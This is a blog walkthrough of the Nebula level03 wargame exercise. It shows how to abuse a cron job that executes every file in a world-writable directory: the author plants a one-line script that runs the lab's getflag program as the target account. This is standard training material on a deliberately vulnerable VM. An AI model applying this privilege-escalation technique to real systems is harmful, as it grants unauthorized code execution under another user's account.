Nebula_level03

    exploit-exercises Nebula: level03


In  level03 challenge of Nebula, we are told that there is a crontab running every couple of minutes.
level03@nebula:/home/flag03$ ls -ltotal 8
drwxrwx rwx 2 flag03 flag03 4096 2012-10-29 03:03 writable.d
-rwxr-xr-x 1 flag03 flag03   98 2011-11-20 21:22 writable.sh
writable.d is a directory and as its name suggests, is world readable/writable.
writable.sh is the script that is executed every couple of minutes by the crontab.
level03@nebula:/home/flag03$ cat writable.sh #!/bin/sh
for i in /home/flag03/writable.d/* ; do
(ulimit -t 5; bash -x "$i")
rm -f "$i"
done
The vulnerability lies in writable.sh running every file that in the writable.d directory combined with the fact that writable.d is world writable.
To exploit this vulnerability, we will write a script that will run the /bin/getflag program when executed.
level03@nebula:/home/flag03/writable.d$ echo "/bin/getflag >> /tmp/pwnlog03" > pwnie03
level03@nebula:/home/flag03/writable.d$ cat pwnie03
/bin/getflag >> /tmp/pwnlog03
After some time, the pwnie03 script will be run (and deleted afterwards by writable.sh).
level03@nebula:/home/flag03/writable.d$ ls
level03@nebula:/home/flag03/writable.d$ cat /tmp/pwnlog03 

You have successfully executed getflag on a target account
And that is it, level03 done.
  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值